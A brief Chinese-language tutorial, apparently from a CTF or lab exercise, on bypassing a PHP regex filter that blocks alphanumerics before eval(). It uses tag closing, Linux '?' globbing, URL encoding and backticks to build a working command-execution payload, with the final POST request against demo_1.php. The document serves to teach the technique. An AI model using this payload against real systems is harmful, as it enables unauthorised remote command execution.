无字母数字执行webshell命令

(一)脚本分析:

#第七行的if语句用正则过滤了数字字母和_,所以传递的参数不能包含这些元素,否则无法进入eval()函数。

(二)编写web命令:

#使用POST传参:

--由于eval()函数的性质,需要闭合?>

code=?><?=      ?>

--再基于Linux的?匹配

code=?><?=. /???/???????[@-[];?>

--Unicode识别需要转码

code=?><?=.+/%3f%3f%3f/%3f%3f%3f%3f%3f%3f%3f%3f[%40-[]%3b?>

--`Linux中反引号直接执行`

code=?><?=`.+/%3f%3f%3f/%3f%3f%3f%3f%3f%3f%3f%3f[%40-[]`%3b?>

--得到输入语句:

POST /demo_1.php?code=?><?=`.+/%3f%3f%3f/%3f%3f%3f%3f%3f%3f%3f%3f[%40-[]`%3b?>